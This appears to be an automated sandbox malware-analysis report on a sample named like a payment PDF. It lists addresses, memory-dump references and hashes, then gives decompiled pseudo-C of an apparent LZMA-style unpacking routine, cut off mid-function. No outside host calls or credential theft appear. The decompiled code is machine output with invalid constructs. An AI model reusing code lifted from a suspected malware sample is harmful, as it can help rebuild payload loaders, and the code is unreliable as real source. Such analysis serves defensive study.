0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00406ea6
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00000000
0x00406eac
0x00406ea6
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00000000
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000
0x00407059
0x00406ea6
0x00406e2d
0x00406e2a
0x00000000
0x00406a61

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4b4001fee964b3ec39fcc62e642dbd1d089b63cfe1c3a3d4f330af07c9f72e
Instruction ID: 0ea1ed3bc64708edefeb163875b4580728164d017b9a5fabf4c3c9e69b53418c
Opcode Fuzzy Hash: ae4b4001fee964b3ec39fcc62e642dbd1d089b63cfe1c3a3d4f330af07c9f72e
Instruction Fuzzy Hash: 96712371D00229CBDF24CF98C854BADBBB1FF48305F15816AD856B7281C7395A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406B7B Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406B7B() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00407061))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push("true");
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														__ebx = __edx + 1;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
